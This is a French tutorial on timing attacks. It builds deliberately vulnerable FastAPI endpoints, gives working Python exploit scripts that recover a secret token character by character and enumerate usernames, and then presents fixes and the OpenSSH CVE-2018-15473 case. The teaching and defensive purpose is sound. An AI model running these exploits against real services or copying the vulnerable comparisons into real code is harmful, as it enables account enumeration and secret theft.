Timing Attack¶
Si vous invitez une personne à dîner et qu’elle répond avoir déjà quelque chose prévu ce soir-là, vous pourriez vous demander si son excuse est imaginaire ou bien réelle. Si, comme certains, vous analysez le temps que cette personne a pris avant de vous répondre, pour déterminer si le prétexte a été improvisé ou s’il existe bel et bien, alors vous êtes en train d’effectuer une attaque temporelle. Votre analyse suppose implicitement que le temps de réponse de votre interlocuteur est un indicateur d’honnêteté ou de mensonge, et en étudiant ce temps de réponse, vous espérez obtenir des informations que votre interlocuteur essayerait de vous cacher (je ne dis pas que la méthode est fiable, je dis juste que c’est votre hypothèse de travail).
L’attaque temporelle (ou « timing attack »), consiste à observer le temps de réponse du programme attaqué pour en déduire certaines choses que l’attaquant n’est pas censé savoir.
Exemples simplifiés d’attaques temporelles¶
Étudions certains programmes, volontairement simplifiés, qui présentent des faiblesses de ce type, et essayons de les exploiter.
Nota Bene : les exemples possèdent aussi d’autres problèmes de sécurité, mais nous n’avons pas souhaité les complexifier inutilement.
Diviser pour mieux régner¶
Vous connaissez sûrement la stratégie cartésienne qui consiste à diviser un problème en sous-problèmes pour en faciliter la résolution. Exploiter le temps de réponse d’un programme attaqué permet à l’attaquant de diviser son attaque en sous-attaques pour en faciliter grandement la mise en œuvre.
Deviner un secret caractère par caractère
Prenez l’API suivante, que nous attaquerons :
from fastapi import FastAPI, status
from fastapi.exceptions import HTTPException
import time
app = FastAPI()
SECRET_TOKEN = "thisisthekeytomyheart"
def is_equal(s1: str, s2: str):
"""
Renvoie True si les deux chaînes s1 et s2 sont égales, False sinon
"""
if len(s1) != len(s2):
return False
time.sleep(0.05)
for i in range(0, len(s1)):
if s1[i] != s2[i]:
return False
time.sleep(0.05)
return True
@app.get("/dining")
def dining(token: str):
if is_equal(token , SECRET_TOKEN):
return "J'accepte de dîner avec vous"
else:
raise HTTPException(status.HTTP_401_UNAUTHORIZED, detail="Non, j'ai poney")
if __name__ == "__main__":
import uvicorn
uvicorn.run("app:app", port=8000)
Cette API contient une unique route : GET /dining. Si l’utilisateur connaît le token secret, et le fourni en paramètre à GET /dining, alors la route lui donnera certains droits. Sinon, l’API renvoie une erreur HTTP 401 unauthorized. Pour vérifier que le token envoyé par l’utilisateur est égal au token secret, la route appelle la fonction is_equal, qui renvoie True si le token envoyé est le bon, False sinon. Bien sûr, dans un cas réel, le développeur qui crée une telle API n’aura pas besoin d’écrire la fonction is_equal. Il n’aura qu’à utiliser le « == » de Python pour comparer les deux tokens. Mais il s’agit ici d’un exemple dont nous avons fait exprès d’accentuer la faiblesse afin de mieux la comprendre. Nous étudierons le cas réel (le cas « == ») plus tard.
Pour comparer les deux tokens, la fonction is_equal procède en plusieurs étapes :
elle compare d’abord la longueur des deux tokens donnés en entrée (si les longueurs ne sont pas identiques, alors on sait déjà que les deux tokens ne peuvent pas être identiques) ;
elle compare ensuite le premier caractère d’un token avec le premier caractère de l’autre token (si le premier caractère des deux tokens ne sont pas identiques, alors on sait déjà que les deux tokens ne sont pas identiques) ;
puis, elle compare le deuxième caractère d’un token avec le deuxième caractère de l’autre token ;
etc
Remarquez qu’entre chacune de ces étapes, la fonction is_equal attends 50 ms (à cause du time.sleep(0.05)).
La route GET /dining aura donc un temps de réponse différent en fonction du nombre d’étapes effectuées par la fonction is_equal. Si le token fourni et le token secret sont de différentes tailles, alors is_equal répondra instantanément. Sinon, si le token fourni a la même taille que le token secret, la fonction prendra au moins 50 ms pour répondre (à cause du time.sleep(0.05)). Puis, plus le préfixe commun entre le token fourni et le token secret est grand, et plus la fonction prendra du temps à répondre (toujours à cause des time.sleep(0.05)).
Un attaquant peut exploiter cette caractéristique pour en déduire, d’abord la taille du token, ensuite, caractère par caractère, de gauche à droite, le token secret. Il commencera par envoyer le token « a », puis « aa », puis « aaa », etc, jusqu’à ce qu’il observe un temps de réponse significativement plus grand. Il aura alors trouvé la taille du token secret. Supposons pour la suite que le token secret mesure 5 caractères. Il enverra ensuite le token « aaaaa », puis « baaaa », puis « caaaa », jusqu’à ce qu’il observe un temps de réponse significativement plus grand. Il aura alors trouvé le premier caractère du token. Disons que le token commence par « c ». Il enverra ensuite le token « caaaa », puis « cbaaa », puis « ccaaa », jusqu’à ce qu’il obtienne un temps de réponse significativement plus grand. Et ainsi de suite, jusqu’à ce qu’il trouve tous les caractères du token secret.
Cette méthode permet de passer de la complexité exponentielle d’une attaque par force brute classique, à une complexité polynomiale. Par exemple, pour un token de taille 5, dont l’attaquent sait, d’une façon ou d’une autre, qu’il est constitué uniquement de lettres en minuscule, l’attaque par force brute classique devra approximativement tester 26^5 (quelque 10 millions) combinaisons avant de trouver le token secret. Dans le cas d’une attaque temporelle, l’attaquant devra approximativement tester 5*26 = 130 combinaisons avant de trouver le token secret. L’attaque temporelle permet donc à l’attaquant de diviser pour mieux régner : il a divisé son problème en sous-problèmes pour mieux le résoudre. Au lieu de devoir deviner l’intégralité du token, du même coup, il doit deviner sa taille, PUIS le premier caractère, PUIS le deuxième, etc.
Voici un exploit :
import requests
import time
from string import ascii_lowercase
URL = "http://127.0.0.1:8000/dining"
MAX_SIZE_TO_TEST = 50
#on commence par trouver la taille du token
index_token_size_time: dict[int, float] = {}#index taille token testé -> temps de réponse de l'API
for token_size in range(1, MAX_SIZE_TO_TEST+1):
print(f"trying token size of {token_size}")
token_to_try = "a"*token_size
t = time.time()
requests.get(
URL,
params={
"token": token_to_try,
}
)
time_taken = time.time()-t
index_token_size_time[token_size] = time_taken
token_size = max(index_token_size_time, key=index_token_size_time.get)
print(f"La taille du token est de {token_size}")
#on cherche le token caractère par caractère, de gauche à droite
token_prefixe = ""
for prefixe_size in range(1, token_size+1):
index_char_time: dict[int, float] = {}#index char testé -> temps de réponse de l'API
for c in ascii_lowercase:#on suppose que le token n'est constitué que de char ascii lowercase
token_to_try = (token_prefixe+c).ljust(token_size, "a")
print(f"trying token : {token_to_try}")
t = time.time()
requests.get(
URL,
params={
"token": token_to_try,
}
)
time_taken = time.time()-t
index_char_time[c] = time_taken
c = max(index_char_time, key=index_char_time.get)
token_prefixe += c
print(f"Le prefixe de taille {prefixe_size} est : {token_prefixe}")
found_token = token_prefixe
#on vérifie
ret = requests.get(
URL,
params={
"token": found_token,
}
)
assert ret.status_code == 200
print(f"Le token a été trouvé : {found_token}")
Ne croyez pas que cet exemple est un cas théorique qui n’existe pas dans la vraie vie. Par exemple, le « == » de python fonctionne à peu près comme la fonction is_equal de l’exemple. Même s’il n’y a pas de time.sleep, le « == » a la même caractéristique que is_equal, à savoir que plus le préfixe commun est grand et plus la comparaison token==SECRET_TOKEN prendra du temps. Évidemment, la différence de temps est extrêmement faible. Ainsi le bruit environnant (réseau plus lent, CPU saturé, etc) noiera ce biais. Mais, quiconque a déjà fait un peu de statistique sait que cela n’est pas si grave, et qu’il suffit de tester plusieurs fois le même token, puis de prendre la médiane des temps de réponse pour éliminer au maximum l’effet du bruit sur le temps de réponse. Une comparaison des médianes permet alors de trouver le préfixe qui induit effectivement un temps de réponse plus long.
Prenons le programme suivant, qui analyse le temps d’exécution d’un « == » en python :
import time
from statistics import median
import seaborn as sns
from pandas import DataFrame
import matplotlib.pyplot as plt
from collections import defaultdict
NB_TIMES_REPEAT = 1000000#le nombre de fois que l'on fera == avant de calculer le temps pris
NB_SAMPLE = 10#le nombre de fois où l'on répète l'expérience
TOKEN = "6k44Kq3nbnJcMeEUBw55LeRRehYKu6EPuGcZ6qU4E73uB9Be4U7PQw3m4Tv9me7SA8vvW642bbCY3DgbFvWegsiNnq9wF4TPdF9h9B7p5V9GCGd5nq2dKw86v5EZdv2A4VcVqmc8u262F98UK3bfBbALR7MWG2XBq3c2L5Szv7G4yYhfwtCFfD4F93v59m52T4dRRzh35ACwjp6k8Q628eRt26a2yK7e6uQ3tiPy3iByU9nDwN8w3THL9YW2975PXV3n2e98E42692Y8825AnizQgngc6g6xTwKHzx95Ae976RX3BMN6bkjZ5zB7fBm78SA6eWU7ETnwba9d3bxd9z7849Gu299TW87WXS9b3a7535UuCt5y6TwCw9cK4A6P7iXg9J66U549hkySgHkvPM8GWn7Vb23H7DaZMFf24cCw6fkz3PTe96S8U7w8L5H9yxXnifQgtmm744C7a65cjjV82My5u8dy8Y7T92vsP77izufU565rvXyX9rhvR8gYYLcR9HjwYkX2g28Mqt9W2D946kc83wbRAfsmZrPfDXvt95dE6Mh59qnJPh3F2xJRR99S752jgB5eF66Hz4St87N2aYTiks387sLrS4LzrLD4Di39dehNkAwq8UW55HC65RC4kmB8jNbt996swC4fuQt5w8Hx8h34W64BX4SZWEqGHa2dqiY2e8bjx398QuMWhTRc2756VG6cB5DjM3pexJ3979z96TrsRh25SPMgYHn55BXyw6yy4NS7e6HHra5QtMQ7arFEyAwd2kB9D884zqbNBG5i63JYHU3DuimvvvQz6Vb7W6uHUD88CR2NFKV3m49XRnZR4Qpa5454d9r56HDPB9GR24GefPPh9dbn2HQ4TsnR37s6yJHh2ZA77xG683bYXNC5CwBUUbqh37P7857Jb8Xp6UY3EDvCTh8e6hRP7X7iSqYiPyBE84i564Uyb8jtcYD5X3wpCrZ4wqM5Z7G3eS8SpcT76cR2eH83"
def comparison_duration(token: str, token_to_try: str) -> float:
"""
Exécute "token_to_try == token" un certain nombre de fois et retourne le nombre de microsecondes que cela a pris en moyenne.
"""
start_time = time.time()
for _ in range(0, NB_TIMES_REPEAT):
token == token_to_try
return (time.time()-start_time)/NB_TIMES_REPEAT
token_to_try_index = {#nom -> token
"not same size": "a"*6,
"same size as token": "a"*len(TOKEN),
"common prefix of size 100": TOKEN[:100].ljust(len(TOKEN), "a"),
"common prefix of size 500": TOKEN[:500].ljust(len(TOKEN), "a"),
"common prefix of size 900": TOKEN[:900].ljust(len(TOKEN), "a"),
"correct token": TOKEN,
}
sample_index: dict[str, list[float]] = defaultdict(list)#nom token -> liste des durées des expériences
print("Begin sampling")
#on mélange les expériences à échantillonner, pour lisser l'effet de certaines perturbations (le PC qui freeze pendant 2s par exemple)
for sample_number in range(0, NB_SAMPLE):
print(f"sample number {sample_number+1}")
for token_to_try_name, token_to_try in token_to_try_index.items():
sample_index[token_to_try_name].append(comparison_duration(token_to_try, TOKEN))
#on affiche le temps médian
#plus robuste que le temps moyen : permet d'éliminer l'effet de certains perturbations (le PC qui freeze pendant 2s par exemple)
for token_to_try in sample_index:
print(f"Comparison with {token_to_try} has median time : {round(median(sample_index[token_to_try])*(10**6), 2)} microseconds")
#on plot une boîte à moustache
sns.boxplot(DataFrame.from_dict(sample_index)*10**6)
plt.ylabel("Duration in microseconds")
plt.show()
Le programme exécute token == token_to_try plusieurs fois et analyse la distribution des temps de réponses. Il effectue l’expérience sur des token_to_try différents (certains avec la même taille que token, certains avec un préfixe commun de 500 caractères avec token, d’autres avec un préfixe commun de 900 caractères avec token, etc).
De mon côté, j’obtiens :
Comparison with not same size has median time : 0.05 microseconds
Comparison with same size as token has median time : 0.05 microseconds
Comparison with common prefix of size 100 has median time : 0.05 microseconds
Comparison with common prefix of size 500 has median time : 0.06 microseconds
Comparison with common prefix of size 900 has median time : 0.08 microseconds
Comparison with correct token has median time : 0.04 microseconds
Vous aurez remarqué que j’ai dû utiliser des préfixes d’une très grande taille pour percevoir la différence de temps d’exécution, ce qui démontre bien qu’elle est difficilement perceptible. Mais cette expérience montre que la différence est bien réelle, et qu’un attaquant motivé peut l’exploiter.
Pour corriger cette faiblesse, il faudrait utiliser une fonction de comparaison qui prend le même temps, peu importe la proximité du token testé avec le token secret. Calculer les hashs et les comparer est une façon de faire, car la proximité de deux hashs ne dépend pas de la proximité entre les chaînes hashées. On peut utiliser, par exemple, hmac.compare_digest (https://docs.python.org/3/library/hmac.html#hmac.compare_digest) dont la documentation indique explicitement « This function uses an approach designed to prevent timing analysis » (bien qu’un risque théorique existe toujours, voir la note de la documentation).
Faisons la même expérience, mais remplaçons « == » par hmac.compare_digest(token, token_to_try). De mon côté, j’obtiens :
Comparison with not same size has median time : 0.74 microseconds
Comparison with same size as token has median time : 0.74 microseconds
Comparison with common prefix of size 100 has median time : 0.75 microseconds
Comparison with common prefix of size 500 has median time : 0.73 microseconds
Comparison with common prefix of size 900 has median time : 0.73 microseconds
Comparison with correct token has median time : 0.74 microseconds
On remarque que la différence de temps d’exécution n’existe plus.
En conclusion : ne laissez pas votre programme avoir un temps de réponse qui diffère en fonction de la proximité entre le secret et ce que l’utilisateur donne en paramètre. Un attaquant pourrait exploiter cette caractéristique pour en déduire progressivement des informations sur le secret.
Deviner username puis password
Étudions un autre exemple, toujours volontairement simplifié :
from fastapi import FastAPI, status
from fastapi.exceptions import HTTPException
from sqlalchemy import create_engine, text
from argon2 import PasswordHasher
from argon2.exceptions import VerifyMismatchError
password_hasher = PasswordHasher()
engine = create_engine("sqlite+pysqlite:///./db.sqlite")
#on réinitialise la base de test (serait évidemment fait plus proprement dans un cas réel)
with engine.connect() as connection:
connection.execute(text(
"""
DROP TABLE IF EXISTS user;
"""
))
connection.execute(text(
"""
CREATE TABLE user (
username text,
hashed_password text
);
"""
))
connection.execute(text(
"""
INSERT INTO user
(username, hashed_password)
VALUES
('me', :hashed_password);
"""
),
{
"hashed_password": password_hasher.hash("my_secret_password")
})
connection.commit()
app = FastAPI()
not_auth_exception = HTTPException(status.HTTP_401_UNAUTHORIZED, detail="Non")
@app.get("/restricted")#devrait théoriquement être en POST
def restricted(
username: str,#devrait théoriquement utiliser une dépendance FastAPI
password: str
):
with engine.connect() as connection:
user = connection.execute(text(
"""SELECT hashed_password from user where username=:username"""),
{"username": username}
).one_or_none()
if user is None:
raise not_auth_exception
try:
password_hasher.verify(user.hashed_password, password)#fonction qui prend du temps
except VerifyMismatchError:
raise not_auth_exception
else:
#fait des choses qui nécessitent des droits
return "OK"
if __name__ == "__main__":
import uvicorn
uvicorn.run("app:app", port=8000)
L’API contient une unique route : GET /resticted. Pour avoir accès à cette route, l’utilisateur doit fournir un couple username/password. La route va chercher la ligne correspondante à l’username dans la base de données. Si l’username est absent de la base, l’API renvoie immédiatement une erreur 401 unauthorized. Si l’username existe dans la base, elle compare le password hashé stocké dans la base avec le hash du password fourni par l’utilisateur en paramètre de la route. C’est une procédure d’authentification classique.
La fonction password_hasher.verify prend du temps, car calculer un hash nécessite énormément d’opérations. La route prend donc plus de temps si l’utilisateur envoyé existe que s’il n’existe pas. Parce que dans le premier cas, la fonction password_hasher.verify est appelée, dans le deuxième cas, elle ne l’est pas.
Avec une telle API, l’attaquant peut ainsi deviner les usernames des utilisateurs, PUIS deviner les mots de passe des utilisateurs. Il n’a pas à deviner le couple (username, password) du même coup, simultanément, ce qui réduit grandement la complexité de l’attaque. Il peut même s’arrêter à la première étape pour récupérer uniquement la liste des utilisateurs du service, et vendre la base ainsi fuitée au plus offrant (qui, dans le meilleur des cas, l’utiliserait uniquement pour spammer les utilisateurs si les usernames sont des adresses email, mais qui pourrait aussi très bien l’utiliser comme arme de chantage si le service en question est un service dont les utilisateurs n’aimeraient pas forcément que leurs proches soient au courant de leur utilisation : site de rencontres extraconjugales, site de jeu d’argent en ligne, site du fan club de Taylor Swift, etc).
Voici un exploit :
import requests
import time
URL = "http://127.0.0.1:8000/restricted"
username_time_index: dict[str, float] = {}#username testé -> temps de réponse de l'API
list_common_username = ["123456", "me", "myusername"]#liste d'usernames à tester
for username_to_try in list_common_username:
print(f"trying username : {username_to_try}")
t = time.time()
requests.get(
URL,
params={
"username": username_to_try,
"password": "bad_password"#on ne s'occupe pas du mot de passe
}
)
time_taken = time.time()-t
username_time_index[username_to_try] = time_taken
print("Results :")
for tried_username, time_taken in username_time_index.items():
print(f"{tried_username} : {round(time_taken, 4)} ms")
De mon côté, j’ai le résultat suivant :
123456 : 0.008 ms
me : 0.117 ms
myusername : 0.007 ms
On remarque bien que l’appel à l’API avec username= « me » a été plusieurs dizaines de fois plus long que l’appel avec les autres usernames. L’attaquant peut donc en déduire que « me » est présent dans la base, mais pas « 123465 » et « myusername ».
Une façon de corriger cette faiblesse serait de calculer le hash du mot de passe fourni en entrée, peu importe que l’user existe ou non (c’est la technique utilisée par OpenSSH, voir plus loin). Voici une proposition de correction (seules les lignes entourées de #- et #+ changent) :
from fastapi import FastAPI, status
from fastapi.exceptions import HTTPException
from sqlalchemy import create_engine, text
from argon2 import PasswordHasher
from argon2.exceptions import VerifyMismatchError
password_hasher = PasswordHasher()
engine = create_engine("sqlite+pysqlite:///./db.sqlite")
#on reinitialise la base de test (serait évidemment fait plus proprement dans un cas réel)
with engine.connect() as connection:
connection.execute(text(
"""
DROP TABLE IF EXISTS user;
"""
))
connection.execute(text(
"""
CREATE TABLE user (
username text,
hashed_password text
);
"""
))
connection.execute(text(
"""
INSERT INTO user
(username, hashed_password)
VALUES
('me', :hashed_password);
"""
),
{
"hashed_password": password_hasher.hash("my_secret_password")
})
connection.commit()
app = FastAPI()
not_auth_exception = HTTPException(status.HTTP_401_UNAUTHORIZED, detail="Non")
@app.get("/restricted")
def restricted(
username: str,#devrait théoriquement utiliser une dépendence (TODO)
password: str
):
with engine.connect() as connection:
user = connection.execute(text(
"""SELECT hashed_password from user where username=:username"""),
{"username": username}
).one_or_none()
#-------------
#if user is None:
# raise not_auth_exception
#-------------
try:
#-------------
#password_hasher.verify(user.hashed_password, password)
#-------------
#++++++++++
if user is None:
password_hasher.hash(password)
raise not_auth_exception
else:
password_hasher.verify(user.hashed_password, password)
#+++++++++++
except VerifyMismatchError:
raise not_auth_exception
else:
#fait des choses qui nécessitent des droits
return "OK"
if __name__ == "__main__":
import uvicorn
uvicorn.run("corrected:app", port=8000)
De mon côté, sur cette API corrigée, l’exploit me donne :
123456 : 0.142 ms
me : 0.1245 ms
myusername : 0.1267 ms
Ce qui n’est plus exploitable pour deviner l’existence de « me » dans la base de données.
Exemples réels :¶
OpenSSH était sensible aux timing attacks jusqu’à la version 7.7 sortie en 2018 : https://www.cvedetails.com/cve/CVE-2018-15473/. Sous certaines conditions, il était possible de provoquer un temps de réponse plus grand du sshd lorsque l’username fourni existait, que lorsqu’il n’existait pas (peu importe le password envoyé). Un attaquant pouvait utiliser le temps de réponse différent d’un sshd pour deviner les différents users d’un serveur, et s’en servir pour faciliter son attaque par force brute. La faille provenait de l’utilisation de deux algorithmes de hashage différents en fonction de si l’utilisateur existait ou s’il n’existait pas, l’un pouvant prendre plus de temps que l’autre. Pour un peu plus de détails : https://seclists.org/fulldisclosure/2016/Jul/51